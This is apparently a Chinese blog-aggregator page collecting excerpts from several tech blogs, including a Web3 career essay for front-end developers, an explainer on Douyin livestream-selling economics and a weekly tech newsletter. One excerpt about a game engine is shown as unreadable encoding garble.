- 第一手信息的获取渠道及敏锐的嗅觉——比绝大部分人早一步甚至 N 步了解世界的发展及自己可能面临的挑战和能够搞钱的空间；
- 快速学习的能力——降低掌握新工具的时间成本，省下来更多获取价值的时间；
- 拥有发现工具适用和落地场景的火眼金睛——快速并大力地推广，借此升职、加薪、赚钱；
- 尽量铺大——增加、延长获利；
- 开启下一个循环。
文章《属于我的三年·第二年》中的「一点思考」部分对上述观点进行了些许完善，且与今年写的《对前端同行的最后一次劝诫》有所呼应。
后来我把上面提到的文章与想法以及平侠在 2019 年写的《前端之未来》全部重温了遍，试图从中觅得在找工作时的切入点。
技术的周期
无论是平侠的《前端之未来》、我的《前端有未来吗？》，还是堂主在知乎上的回答，都在表明「前端很有未来」，但此「前端」非彼「前端」——
抱着以 HTML、CSS、JS 这老三样所代表的「传统 Web 前端」不放的话，长期来看没有未来；但以「解决人机交互问题」并「提供优良用户体验」为目标的「前端」是有未来的。
这两个「前端」的差异在于，前者是与 HTML、CSS、JS 相绑定的，开发时它们都会高频用到；而后者的内涵是动态的，可以是老三样，可以是 WebGL，更可以是与 Web 完全无关的。
像数字孪生（digital twins）、沉浸式技术（immersive technologies）、智慧空间（smart spaces）等方向涉及到的「前端」，与「传统 Web 前端」之间可以说是毫无关系。
若按上文提及的堂主回答中所说的前端发展的 15 年（2008～2023），显然目前「传统 Web 前端」是处于衰退期，没几年可「活」了。
而「下一代」可能会完全不同的「前端」具体是用什么技术？它的生命周期又能有多少年？会有「传统 Web 前端」持久吗？
另外，代际交替并不是错开的，而是同时存在的，只不过较少人察觉到；待到大多数人知道且有所行动之时，入局可能就比较晚了。
领域的周期
这些文章也都认为「前端」可在产品的生产与商业这两个领域发展——前者是提效，节流；后者是圈地，开源。
随着软件工程相关理论愈发完善，新技术、新工具的使用所面临的问题很容易从已有知识与经验中（跨界）找到解决方案。
从而，「螺旋上升」中的「螺旋」会转得越来越快，以至于螺不螺旋已经无所谓了——相同或相似问题重复出现，只要解决问题的模型与模式没变，技术与工具的改进将没啥意义。
也就是说，提效、优化的天花板越来越容易触碰到。
在商业领域也是类似的——商业立足于人性，而人性几千年没啥变化，只不过是新技术出现后，将已有的东西又全部重做了一遍——又一个「螺旋上升」。
当然也会有些许「例外」，就是像电器、计算机等「奇点」类的事物出现。
从过往经验来看，生产与商业这两个领域哪个周期更长，说不准，但生产领域的衰退有可能伴随着某特定技术的衰退——「传统 Web 前端」都不用了，还费力气搞它们的基建干啥？
文章的局限
这些文章都是从较为宏观的角度去说，给的建议也是针对抽象的一批人的，对于某个具体的人也许参考借鉴的意义有限——正如社会上「旧岗位消失，新岗位出现」的问题。
就拿我来说，大龄且处于代际交替的节点，所擅长的技术是「旧时代」的，而「新时代」的技术具体是啥还不明朗，且学习门槛高，要达到工作水平的周期长。
从用人单位角度来看，更倾向于招有实际工作经验并取得一定成果的，我一个刚「转行」的，当实习生吗？若要招实习的，他们干嘛不要一个既年轻又听话的？
Web3 才是归宿
将上文稍微简短地概括下——
未来的主流人机交互技术很可能不再是 HTML、CSS、JS，即使仍然是它们，但已不重要或与现在相比变得面目全非，相当于学习新技术，并且要掌握图形学等略硬核的基础知识。
新技术相关知识学习门槛高，达到可工作水平周期长；代际交替具体要多久不清楚，但应该用不了几年，越早踏入「新时代」越好。
这些年传统互联网行业增长乏力是大家有目共睹的，绝大部分前端工程师所掌握的是作为「旧时代」技术的「传统 Web 前端」，且在业务导向的公司中工作。
若仍将视野局限于 Web2 的话，从技术周期及生产与商业的领域周期来看，前景可谓是一眼就望到头了，只有不几年可「活」。
虽说去技术导向的公司工作也不失为一种选择，能多苟延残喘一段时间，但这也仅是留给少数技术精英的选项，与绝大多数做业务前端而技术不够精进的人没啥关系。
对这部分前端工程师而言，尤其是已从业 5 年及以上的，「传统 Web 前端」这「旧时代」技术俨然已成为难以甩掉的历史包袱，继续留在 Web2 很快就会迎来职业生涯的末路。
在《质疑 Web3，理解 Web3》中我对自己所理解的「Web3」做了较为详细的描述，只要不是愚蠢的人都看得出来，即便只掌握「传统 Web 前端」技术也可很平滑地从 Web2 迁移过来。
并且，从当前 Web3 行业的发展阶段来看，其为依赖「传统 Web 前端」的前端工程师们的职业生涯强行续命至少 10 年——把 Web3 称为这部分人的「归宿」不为过吧？！
结语
自从我开始写 Web3 相关文章以来，总有人评论留言说去中心化、区块链、Web3 违法之类，让他们列出具体的法律法规条文时就没后文了。
我就想问：「在国内，区块链技术在政府机构、互联网大厂等组织中都有应用，他们是在公然知法犯法吗？还是说他们不懂法？」
识时务者为俊杰，通机变者为英豪。
- 博客 云风的 BLOG 2024-09-03 11:21:09
�Ҷ��Կ�����Ϸ�Ѿ����������ˡ�������������� Ant Engine Ψһ��Ծ�û�������һ���ܺõĻ������ھ����һ��������Ϸ��������˵��������Щ�ط���ȱʧ���ֽΣ��һ���ϣ���Ѿ���������Ϸ�����϶�һЩ���������淽��ǡǡ���þͺá���Ȼ��������������������������죬��Ϊ��Щ���������ұȽ�˳����������������������ࣻ��һ���˿�����Ϸ�������ʱ�����ָ������Ķ������ķ��ơ�
�һ�������սһ���Լ�������Ϸ��ƺã�ʵ�ֺá����淽������飬���뵽�Ķ����ȼ�¼һ�¡����������ͷ����Ϸ��Ŀ���������࣬�ٻ�ͷ�����棬���øи�ǿһЩ��
���ȣ����ӻ��༭�� ������˵����Ҫ��������ʱ�Ͳ�ά���ˡ��Ҹ���Ҫ����һЩ������֤������Ϸ������뷨�Ĺ��ܣ���Щ������Ϸ demo ��˳��ʵ�־ͺã�������û��Ҫ���ڱ༭�������ֽ�û����������Ҳ�й�ϵ����Ϊ�����Լ���������Ϸ��˵���Ҳ��ں��������ȣ������������Ǻ��������������Ǻܴ������Լ���ϲ����ͳ roguelike ������ ascii �ַ������Բ����е��������֡����룬��Ϸԭ�ͽξͲ���Ҫ�����ڱ༭�����������ˣ���һЩ��������á���Ҳ��Ϊʲô����������ǰ�������Ƶľ��� Ant ������Ԥ�Ƽ����� ������ܵ�ԭ��
����ʹ�� Ant �����ʱ������Ϊȱ������ API �ĵ���ֻ�ܲ��ϵ��Ķ�Դ���루�Ͼ��кܶ�ģ�鲻�����Լ�����д�ģ���ȫ����Ȼ���ģ������Ҳ���ÿ��ģ�����ƶ����⣬�����Ҿ�����������ij嶯������һ��ʱ������ҵ�һ���������������������⡣�ҿ�����������һ�������Ŀ������Ŀǰ������Ϸ������������Ĺ������������ơ��������ܸ��������Ѿ����õIJ��֣����õ�ģ��ֱ����һЩdz��װ��������IJ��ֿ��ԶЩ�����������루�ƻ��ϴ��룩�ĸĽ���
����������Ϸ���͵IJ�ͬ��ʹ������ķ�ʽ�ͻ��кܴ���졣��ϣ�������в�ͬ�������Ŀ����Ծ���������Ϸ�����η�װ���������ڶ��η�װ��д��Ϸ�Ļ�������Ϳ��Ը����ĵIJü��ײ�ʵ�֡��Ҹ�ϣ���� ECS ��ܻ�ԭ�ɸ�ԭʼ����ƣ��������ݣ���������̫��ĸ���ģ�顣
���������������� UI �ϡ��Ҷ� RmlUI �ķ������DZȽ�����ġ��Ͼ��� web �Ŀ����м�����û����������ֱ߽DZ��˴�ĥ��������Ŀǰ��һЩʵ��ϸ�ڣ������� UI �����Ϸ�����ϢͨѶ���ִ���������⡣
���� UI �����Ϸ��Ⱦ���Լ������������������ Lua VM �У����ڲ�ͬ�߳��ϣ�������ϢͨѶ�������ݡ�����ķ�װ����ϢͨѶ���̣��ṩ�� RPC ������������Ϸ���� UI ���� RPC ���ã�ֱ��ʹ�õĻ��ض�����������������Ϊ��Ϸ��ͨ������ ECS ��һ�� system stage ��ִ�У������� UI ��� RPC ��������һ�� stage ��Ϊ�˻ر�����������⣬��ҪС�ĵ����� ltask ��һЩ�첽���ܡ�������һЩ�ķ�װ���������һ�㡣�����װ�����һ�� model �����Զ���������֮��������ͬ����ֻͬ�����첿�֣�������Ϸ��������� model ��״̬���Ϳ���ֱ���� UI ��չʾ�����������װ���ֲܴڣ���Ҫ���Լ�����һЩ UI ģ����ٸĽ���
�ɴˣ��Ҳ��� ECS ������ܻ���Ҫ�ṩһ�� async �� stage ���ܺõ㡣���ڵ� stage ����������� ltask.call ������ȫ������ǰ֡�ˡ���һ�� async �� stage �������� yield ��ȥ�����̣�����һ֡�������stage ������������Ҳ����ȡ�� instance ������ onready callback ��ֻ��Ҫ��һЩ��Ϣ�������̷��� async stage �Ϳ��Ը���Ȼ��д��ǰ�����¾�����һ�����Ƶij��� ���о���û��ã���ʱ�������������Լӵ������С�
����ģ�� ��Ŀǰ����Ƚ�Ƿȱ�IJ��֡�ֻ����������Ϸԭ��ʱ���ò��ϡ����δ�������������Ϸ���ⷽ�����������ˡ�����Ŀ������ȼ��Ƚϵͣ���ʵ���������ٽ����
����ϵͳ ��������ֵ�øĽ������������ڿ��������У�����һ������������ʱ��һ�������Ϊ������Ⱦ���������Һü��졣����һ��Dz�����ȥ�꿪����Ϸ������ʹ�õķ�����Ϊ�༭�����õ�Ԥ�Ƽ����ݴ��� patch ��Ϊÿ��Ԥ�Ƽ�Ԥ����һ���������ʵķ�ʽ��Ȼ��������ʱ������Ҫ���ڲ����Ͱ���Ԥ�Ƽ�����ѡ����Ϊ�������治֧������ʱ����������ȫ��ͬ�IJ��ʣ���
˵����������������⣬����Ϊ�����ϻ��������Ż�����µġ������ϣ����ǿ��������еĶ����ǰ������ʣ������ȵ�Ϊ 1.0 �����ͳ��ֳ�������״̬������ 0 ����ʧ�ˡ����ǣ�������Ⱦ��˵�������Ͱ������Լ�����ʾ���������б��ʲ����ᵼ�²����� 3d ����Ͱ��� 3d ����ײ���Ⱦ���߶��м���IJ��Զ�Ǹĸ����ʲ�����ô�������� 2D �����У����������Կ�������˵����ò����� 2D ������ 3D ���ߣ�����������ʵ�ֵ����ѣ����������ø������Ϳ����ˡ���Ҳ������Ҫ������������⡣������������������ϣ��Һ����濪���Ŷӵ�ͬѧ�������������ϣ�����һЩ�µ��뷨���Ժ���ʱ�������ع���������صײ���롣
Ŀǰ���Ҳ��������ֻ�ƽ̨�Ͽ�����Ϸ�������Ǹ��˶���Ϸ�����ϲ�ã��Ҷ��ڴ������ֻ�������Ϸ��ȫʧȥ����Ȥ����ô Ant Engine �����Ŭ����ֱ���ڿ������϶��ֻ��豸�ϵ���Ϸ��ʧ���ԣ�����������Ͳ����ˡ�δ�������Ϊ��ʵ��������Զ�����������ĸ��Ӷ���һЩ��������Զ�̵��ԡ�VFS ͬ����������֧�ֵȡ�ͬʱ��������ǿ���� PC �����ϵ����飺������������Դ�Զ�������顣��ϣ�����Ծ������ٶ���ı��뻷�ڣ���������ֱ�Ӽ��ظ����ͨ�ø�ʽ���ļ���ͼƬ��ģ�͵ȣ���
�����Dz��ʱ���ģ�飬��Ŀǰ��������Ϊ���ӵ�ģ��֮һ������Ϊ���Ҳ��������ģ���Ӧ����˸��ӣ�����һ�����ϸ��¿����Ŷ�������һ�����ϵ����ۣ��Ľ������´�ר��дһƪ blog ���ܡ�
���⣬����һ�����ļƻ��������� Vulkan ��д gfx �㣬������ʹ�� bgfx ���ֿ�ƽ̨��������Ҳ�Ǻ��ˡ������ Vulkan ʵ���µ� gfx �㣬�Ҹ�ϣ���л���ú���һ�� 2D ���ߣ��Լ������� 2D gfx �㣩���Ͼ� 2D �� gfx ��Ҫ�Ķ࣬�������ķ�������ṩ���õģ���������Ϸ���������ϡ�
����������̫�࣬һ�������ɡ�
Just for fun
- 博客 格物致知 2024-09-03 07:06:00之前研究了一段时间的 eBPF，并且记录了一些笔记，但是因为懒所以没有整理，所以简单梳理了一些，这篇主要是介绍基于 libbpf 使用 eBPF 的一些记录。
- 博客 bboysoul的博客 2024-09-03 00:09:00
- 博客 Skywind Inside 2024-09-02 23:05:00
今天互联网上的内容，由于各种原因，正在以越来越快的速度消失，而习惯什么都从网上找的新一代网民们，却并没有备份和记录的习惯及意识。不远的将来，会有一天，当你特别想找某个工具却搜尽互联网你都找不到时，才会发现对珍贵资源做好收藏的必要性。 Windows XP 依然是一个完美的怀旧平台，它可以向后兼容到 Windows 95 的程序，是一个运行经典软件，玩经典游戏的完美方案。 图形界大佬 John Carmack 在推特上呼吁大家，现在应该有意识的保存你的开发环境，这样多年以后你想重新构建你的软件时才不会慌脚乱手，因为通常每过几年你常常会发现，自己之前的老代码已经没有合适的环境编译了： 本光盘包含了构建 Windows XP 程序所需要的必要工具，包括编译器，文本编辑器，集成开发环境和各种工具，他们全都能运行于 XP 下，并且能构建兼容 Windows XP 的项目。 制作原则：精选工具，断网可用，末日恢复，自包含无依赖，开发工具博物馆，帮你完全在 Windows XP 下工作，让你拥有 XP 下的沉浸式开发体验，容量却不超过一张 CD。 版权声明：本光碟采用 winworldpc.com 类似的版权声明，尽量收录开源或者不再销售的软件产品，目的是保护这些快绝版的资源。 光盘目录如下： 具体内容和下载地址见下文说明。 （点击 more 继续） 编译器（Compiler） 编译器的 Compiler 目录内包含以下几个工具： 目录内包含三套 … Continue reading →
The post CD4：Windows XP 开发宝典 appeared first on Skywind Inside.
- 博客 西秦公子 2024-09-02 20:38:07无法提供摘要。这是一篇受保护的文章。
- 博客 西秦公子 2024-09-01 23:17:56作为一个产品策划 & 产品运营，我难免会有一些会要开。不过，我始终遵循着在腾讯时的习惯 —— 为自己预 […]
- 博客 二丫讲梵 2024-09-01 17:20:31如要阅读全文，点击标题跳转。孩子暑假过来，带上了她的魔方，这个魔方买来打乱之后，大概就再也没有复原过。一天百无聊赖之际，我突发兴趣，跟着一个视频教程，用了两个晚上复原成功。过程内容，简单记录如下，以后兴许还会用到，因为是新手，所以写的内容偏向于个人的理解。
- 博客 唐巧的博客 2024-09-01 14:52:02
引言
随着抖音日活破 8 亿，短视频和直播已深入我们每一个人的生活。其中，直播电商作为抖音商业化重要的一环，成为很多品牌销售工作的重点。
我之前写过一篇科普效果广告的文章，帮助很多非广告行业从业者理解效果广告，很多人很喜欢。于是，我想接着这个主题，分享一下抖音直播卖货的基础，如果你没有从事过相关工作，本文可以让你对直播电商有一个基础认知。
核心流程
直播卖货的核心流程分成两步。
- 第 1 步：在信息流中投放你的种草短视频素材（或直播间画面），引导用户点进你的直播间。
- 第 2 步：在直播间中，完成产品的介绍、答疑，并引导用户下单。
我们接下来会拆开这两个环节分开介绍。
短视频素材
介绍
我们日常在抖音上刷短视频，大概刷 10 条左右，就会出现一条是广告商投放的种草短视频。这个短视频会在右侧有一个直播的效果（如下图），短视频中的口播也会引导你进去直播间。
除了种草短视频外，广告商也可能将直播画面投放到你的信息流中，引导你进去直播间（如下图）。
相关指标
对于一个种草短视频来说，平台会评价很多核心的过程指标，最主要的包括：
- 点击进直播间的转化率
- 进入直播间后，访问商品的转化率
- 支付的转化率
下图是一个案例，呈现出了某个电商直播间的转化漏斗。
除了以上指标外，我们评价一个种草短视频的好坏，还有一些过程指标，包括：
- 5 秒完播率。
- 用户点击成本。
【5 秒完播率】：指用户看完了这个视频前 5 秒的比例。在短视频信息流中，用户很没有耐心，如果不能在前 5 秒抓住用户的注意力，用户手指轻轻上滑，就会把你的视频滑走。而每一次广告的曝光都是要收费的，所以，尽可能提高前 5 秒的完播率，就可以提升进入直播间的点击率。
【用户点击成本】：通常每一个商品，都有适合自己的点击成本（具体的成本通常是经验数据）。如果点击成本太低，那么：
- 短视频可能过于有欺骗性，这会使得直播间的成交转化率相对下降，所以得不尝失。
- 用户也可能不精准，比如都是一些好奇心强，但是成交意愿弱的用户。
种草短视频的类型
在我们所处的教育行业，一般种草短视频有以下几种类型：
- 身临其境 真实感受。例如：“最近我家孩子…”
- 附加身份 激发认同。例如：“作为一个海淀妈妈…”
- 消费观念 透传实惠。例如：“不到一顿饭的钱…”
- 第一人称 情节发展。例如：“直接产品使用视频…”
- 软蹭热点 放大痛点。例如：“最近 xxx 新闻大家都看到了…”
- 制造噱头 营造稀缺。例如：“不好意思，活动即将结束了…”
要做好这些短视频，有一些基础的要求：
- 需要符合平台和相关的法规。比如不能虚假宣传，不能恶意制造焦虑，不能诋毁竞争对手。
- 风格要多样。比如同样的口播文案，在车里拍可能就比在办公室拍效果好很多。但如果大家都在车里拍，你出一个在飞机上拍，效果可能又不一样。总之，风格不要雷同，不然前 5 秒的完播率会很差。
除了风格尽可能多样外，我个人认为，一个好的种草短视频还是应该尽量讲产品，把产品的核心卖点讲清楚，即便用户当下不买，那么他也会对产品有一个较为清晰的了解，这对品牌来说，可以积累长期的势能。
利润模型
如果你了解广告系统，你应该能够理解。每一个种草短视频都是基于 ECPM 进行竞价，本质上你需要尽可能提高自己的广告转化效率，否则你就无法给出市场公允的一个千次展示成本。
在抖音平台上，千次展示成本大概在 50 - 200 元之间。我们假设你的平均千次展示成本是 100 元，视频点击率是 10%，直播间的支付转化率是 10%，客单价是 100。那么:
- 1000 次展示（成本 100 元），能够给你带来：
1000 * 10% = 100次点击。 - 100 次点击能够带来
100 * 10% = 10次成交转化。 - 10 次转化能够带来
10 * 100 = 1000的收入。
如果你的商品成本是 50 元，那么你每花 100 元广告费，就有 1000 元的收入，扣除 500 元的商品成本和 100 元的广告费，就还有 400 元的利润。
这就是一个极简的直播利润模型，后面我们会继续完善它。
直播间
说完短视频素材，我们再说说直播间。
循环是直播带货的基本形式
直播间最基本的功能，就是面对不断进入直播间的用户，完成从产品讲解到引导下单的整个流程。由于每个用户在直播间的停留时间并不长（通常为 1-5 分钟），所以我们需要在非常短的时间内完成从产品讲解到引导下单的过程。而直播间，其实就是在不断循环这个过程。
我们来看看前一段时间很火的李一舟的直播间是怎么卖人工智能课的（下图）：
李一舟为什么要讲这么简洁？因为如果你随便看一个直播间的在线人数，你就会发现，每一分钟，都有超过 20% 的人离开，又会有超过 20% 的人新进入直播间。下图是一个案例，在该案例中，实时在线只有 22 人，但是每分钟进出直播间的人数分别达到了 18 人和 15 人。
假如你在线下经营一个“超级卖场”，每 1 分钟会进来 1000 人，同时上 1 分钟进来的 1000 人会离开，你应该怎么办？如果你需要 3 分钟才能讲清楚你的产品，那么不好意思，前面进来的人等不到你讲完就走了，后面进来的人，因为只听到你讲的后一半，不知道你在讲什么。
你只能抓住这仅有的 1 分钟时间，迅速完成需求挖掘，产品介绍，引导下单的过程。从这个角度看，李一舟的直播话术还挺高效的。但是，李一舟不应该撒谎，“仅有 10 个名额”这个说法对用户是一种欺骗，其实有更好的处理方式。
流量是直播的生命之源
直播间的主播讲得不管多么好，没有观众也不行。流量在很多别的平台就是付费广告，但是在抖音，还有一大部分是“自然流量”。下图是某个直播间的流量图，可以看到，它有将近一半的自然流量，这部分流量是不需要给抖音付费的。
那么如何获得自然流量呢？自然流量其实是抖音给直播间的奖励，当抖音的算法认为当前的直播间具备下面任一一个优点的时候，算法就会给与奖励。
- 优点一：这个直播间看起来很有趣。
- 优点二：这个直播间看起来很挣钱。
我们先说优点一。抖音算法认为，优质的内容应该分发给更多人。所以，如果抖音算法觉得你的直播间很有趣，被很多人喜欢，那么就会把你的直播间分发给更多人。
什么样的行为代表有趣呢？关注、互动、点赞、评论、停留。
所以，大家有没有看过这样的直播间行为：
- 某直播间，主播不停在说，新进直播间的朋友们，麻烦给我点个关注，送个粉丝灯牌。
- 某直播间，发福袋。领福袋的要求是关注+发一条指定语言的评论。
下图是小猿学练机的直播间福袋，就是一个典型的用福袋增加关注、互动、停留的例子。
我们再说说优点二：这个直播间看起来很挣钱。为了衡量挣钱的能力，抖音有一个叫做 GPM 的指标。GPM 指：平均每一千个观众下单的总金额，常用来衡量直播间卖货能力。
举个例子，如果直播间每进来 1000 个用户，就有 100 个用户下单，客单价是 200，那么你的 GPM 就是
100 * 200 = 20000。我们知道，抖音对所有平台的交易都有抽佣的，抽佣常见的比例是 2% - 5%。所以，你的 GPM 越高，抖音得到的抽佣也就越多。如果你的 GPM 是 20000，抽佣比例是 5%，那么每 1000 个用户平台可以得到抽佣
20000*5% = 1000元。这样，当平台的广告流量有富余的时候，算法就会把流量给那些 GPM 高的直播间作为奖励。平台本身也会得到更多的佣金。
成本模型
我们在最初的时候提到了一个极简的成本模型：
如果你的商品成本是 50 元，那么你每花 100 元广告费，就有 1000 元的收入，扣除 500 元的商品成本和 100 元的广告费，就还有 400 元的利润。
其实，实际核算下来，你还需要付出以下的成本。
退货成本
商品都会有一定的退货率，当退货发生的时候，虽然你收回了商品，但是平台不会退还你已经付出的广告费的。所以，还是刚刚那个模型下，如果你的退货率是 30%，那么你的收入变成了 700，商品成本变成了 350，广告费 100，你的利润下降到了
700 - 350 - 100 = 250元。平台佣金
平台通常会抽取 5% 的交易佣金。所以，刚刚那个模型还需要减掉
700*5%=35元。利润下降到了 215 元。运营人员成本
直播间的主播和场控，运营都是要发工资的。根据城市不同，主播的工资为 100/小时 - 300/小时 不等。场控的工资约为 50 元/小时。下图是在成都的某个直播间在微信群上发的招聘的信息。
所以，如果刚刚那个 1000 的销售额是在 0.5 小时达成的业绩，主播+场控的小时工资为 200 元。那么，你还需要付出
200*0.5=100元的成本。利润下降到了 115 元。GMV 提点
如果我们直播代运营公司，我们通常还需要支持 5% - 10% 的 GMV 提点。在本例中，如果我们支付 5% 的提点，则成本为
700*0.05=35元。利润下降到 80 元。税
如果我们售卖的是实物商品，我们需要支付 13% 的增值税。增值税只需要交“增值”的部分，我们的售价与成本的差价是 350 元，所以我们需要交
350*13%=45.5元的税。利润下降到 34.5 元。其它
其它成本还包括：
- 短视频素材的制作成本。通常情况下，一个直播间每月需要制作 40 - 80 条左右的短视频，平均每条素材的制作成本约为 500 元，月成本为 2-4 万元。
- 投放提点。如果我们找第三方代投公司帮我们投放，我们通常需要支付
3% - 5%的投放提点。在本例中，我们需要支持 3-5 元。如果我们不找第三方代投公司，则需要招聘投放人员，成本可能更高。 - 运费险。
- 客服成本，提供售前和售后支持。
结束
- 抖音直播卖货的核心工作是短视频素材的制作和直播间的转化。
- 一个看起来很挣钱的直播间，在计算上退货、投流成本、商品成本、运营成本、第三方提点、税收、客服成本后，其实利润就微乎其微了。
以上。
- 博客 二丫讲梵 2024-09-01 08:43:17如要阅读全文，点击标题跳转。clouddnsexporter,自动获取DNS提供商的域名及解析列表，同时自动获取每个域名解析的证书信息。在我们维护网站的时候，偶尔可能会犯一些相对低级的错误，莫过于忘记更换域名证书而使网站无法访问。然而当我们记得并更换了证书，却又因为遗漏了某些解析而导致网站无法访问。这些都是令人难受的错误。这个项目，希望能够让你轻松掌握到每个域名解析的证书信息，从而在更换证书时，不会遗漏任何一个解析。支持多种DNS提供商(目前支持阿里云，腾讯云，其他更多，期待有缘人PR)，且支持单提供商多账号管理。
- 博客 西秦公子 2024-08-31 23:19:27在进入字节之前，我一直在 iPhone 上使用 Calendar 5 来管理自己的日程，简单方便。进入字节后， […]
- 博客 61's life 2024-08-31 12:00:07107
- 博客 西秦公子 2024-08-30 23:20:58为什么说投资投的是认知？ 因为每个人的风险偏好、资金情况、收益时间、收益预期不同。 别人讲投资策略还可以看看， […]
- 博客 bboysoul的博客 2024-08-30 17:58:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 阮一峰的网络日志 2024-08-30 08:08:59
这里记录每周值得分享的科技内容，周五发布。
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（yifeng.ruan@gmail.com）。
封面图
入夜后，大理洱海上亮起无数鱼灯，吸引鱼类浮上水面，渔民趁机捕捉，消灭外来的西太公鱼。（via）
一份谷歌离职报告
上周，我看到一篇有趣的文章。一位谷歌 SRE 工程师离职了。
她负责服务器的运维，平时要为网站故障写分析报告（postmortem），现在离职了，就为自己的离职也写了一份分析报告。
她写得非常坦率，说了心里话，也透露了很多谷歌公司的情况。信息量挺大的，下面分享给大家，碍于篇幅，有所删节。
（1）我的基本情况。 2015年，我从波兰的大学毕业，加入谷歌，来到爱尔兰分公司，担任 SRE 工程师。
入职时，我的职级是 L3，9个月内就晋升到 L4，一年后晋升到 L5，现在是 L6。
（2）我从谷歌得到了什么。 在谷歌待了九年后，我在本周离职。回顾这九年，我得到了很多东西。
首先，我得到了大量的钱。
其次，我得到了工程技能，理解了复杂的大型网站系统，还拥有处理生产故障和调试机器的世界一流的技能。
再次，我得到了领导和管理团队的技能，以及成为一家巨型技术公司一员的满足感。
最后，我得到了各种福利，比如办公室、游泳池、健身房、体育课程、每周按摩、美味和健康的膳食、医疗保健等，还有好玩且舒适的异地出差和商务旅行机会。
（3）谷歌的变化。 现在的谷歌，相比我刚加入时，发生了很多变化，已经不再那么有趣和酷炫了。
以前，谷歌的技术是顶尖的。现在，其他公司的技术水平，正在接近谷歌。
谷歌的内部预算也在削减，我们的商务旅行减少了，裁员不断。公司还把招聘名额转移到更廉价的地区。这对我产生了直接影响，我没法为自己的团队招人了。
这些年来，谷歌内部的安全制度和规章，不断增加，越来越繁琐。公司的内部系统，以及各种团队之间的关系，变得非常复杂。这减慢了我们的开发速度，并带来了许多艰巨的工程挑战。
对于我们来说，理解公司内部系统，成了越来越大的负担。你需要牢记无数的系统和技术细节，其中任何一个都可能对你产生影响（对于 SRE 工程师尤其如此）。新入职的员工可能需要一年的时间才能完全理解这些东西，这太疯狂了。
很多时候，我觉得自己被会议、重复性劳动、资源不足的团队工作，压得喘不过气，但同时又没有良好的成长机会。
公司两次承诺我，可以扩招手下的员工，但是两次都被取消了。我觉得，现在的工作没有充分发挥我的能力，但是在公司内部，又找不到发挥的方式。
与此同时，谷歌的高管们不提供支持和反馈，也几乎没有任何监督。你问他们下一步如何开展工作，他们会不知所措，让你自己去解决。
（4）我的想法改变了。 那些曾经吸引我的东西，已经不再有很强的吸引力了。
我已经达到并且超过了自己的财务目标。
我对谷歌技术的迷恋，逐渐变少。实际工作中遇到的技术问题，也不再那么令人兴奋。
我的兴趣转移到了其他方面。SRE 工程师跟我的兴趣和性格都不太符合。我是一个乐观和有创造力的人，但是 SRE 岗位要求稳重和保守。另外，长期夜班扰乱了我的睡眠，SRE 要求"七天24小时在线"使我很难放下工作。
我想离开 SRE 换个岗位，而爱尔兰又没有太多其他岗位可选择。由于惰性和个人原因，我也没有申请去其他地区。老实说，谷歌是一家以美国为中心的公司，只要你不在美国总部，推进任何事情都很麻烦，很容易感到孤立和边缘化。
我在谷歌看不到大的升迁机会。我已经是 L6 工程师了，在工程领域到顶了。我对 L7 并不真正感兴趣，因为 L7 更多是一种政治角色，不是工程角色，并且也很难说手下会管理多少人。如果我有机会自己领导一个大团队，我可能愿意留下来，否则我更渴望创办自己的公司。
（5）其他想法。 回顾这九年，我感到自己很幸运。
谷歌的股票表现非常好，再加上我的快速晋升和高绩效，使得个人收入很不错。我经过仔细思考后，对这些收入做出的财务决策，也很正确，给我带来了更多财务回报。
我在谷歌认识了大量的人，建立了许多关系。我雇用的员工也都非常可靠。
我有一些后悔没有做的事情。最主要的就是，我本应该早点退出 SRE，申请转移到其他国家，从一开始我就知道 SRE 不是我想要的。我只是坐等情况发生变化，结果没有如愿，现在我知道了，我应该主动寻求变化。
微软工程师的薪资
上周，一家美国媒体获得一张电子表格，里面是500多个微软员工自愿分享的自己的薪资数据。
这家媒体就统计了微软各级别工程师的平均薪资。
上图可以看到，2024年美国互联网大厂的程序员的收入水平。微软最低的59级工程师，基本工资也超过了12万美元。这是很高的收入，跟美国大学普通的正教授差不多了。
程序员的收入，最主要由职级决定，职级越高，收入越高。这就是为什么大厂程序员那么看重晋升的原因。
但是，不同职级的基本工资，相差不是那么大，收入差异主要由奖金和股票决定，高职级的绩效收入远大于基本工资。
当然，由于数据总量比较小，上表肯定不完全准确，只能作为参考。
[活动通知] 动手练习 AI 编程
AI 编程工具是眼下的热点，大家都在探索，怎么将 AI 用于编程。
明天（8月31日）下午，就有一场 AI 编程的动手活动，由豆包 MarsCode 官方主办。
豆包 MarsCode 是字节旗下的 AI 编程工具，具有代码生成、补全、智能预测等功能。到时，字节工程师将一对一指导大家，动手实操，通过 AI 完成你的软件开发构想。
你可以跟小伙伴组队报名（每队最多3人），也可以单人组队，在 AI 的帮助下，现场编码完成一个小游戏。
工程师会在现场指导和答疑，最后每组进行作品展示，评出优秀作品，领取奖品。
希望动手练习 AI 的同学，明天下午不要错过这次免费活动的机会，活动地点在北京的抖音工区。
点击这个链接，或者扫描上方海报的二维码，了解活动详情并报名。如果你不在北京，可以参加豆包 MarsCode 的征文活动，题材不限，奖品丰富。
科技动态
1、载人飞艇
8月20日上午6时，中国的载人飞艇 AS700 从湖北荆门起飞，飞行近1000公里，于次日中午12点达到广西桂林。
由于中间有落地休整，整个飞行时间是12小时44分钟。
飞艇到达桂林后，从8月23日开始20天的展演。如果这段时间你在阳朔，每天中午就可以看到它在飞行。
它最大载人数10人（含一名驾驶员），飞行高度500米到2000米，最长航时10小时，最大航程700公里。
它主要用于旅游出行，空中观光，甚至举办"云端婚礼"。由于内部是氦气，所以非常安全。
2、新形状意大利面
意大利面的酱汁，需要吸附在面条上，这样才好吃。
一位美国网红别出心裁，使用计算机设计了一种新形状的意大利面条。
据说，这种新型面条的表面褶皱尽量最大化，以便吸附更多的酱汁，同时还要保证足够的弹性，以便产生良好的口感。
它每包的售价高达200多元人民币，一上市就售罄。
3、折叠屏笔记本
一家深圳公司推出了折叠屏笔记本，具有两个折叠在一起的屏幕。
以前的双屏笔记本，基本都没有实体键盘，用其中一块触摸屏当作键盘，或者外接键盘。
但是，这款笔记本别出心裁，使用铰链将两块屏幕连在一起。
所以，它的第二块屏幕可以反转，放在主屏幕的背面（上图），也可以向左翻，作为侧屏（下图）。
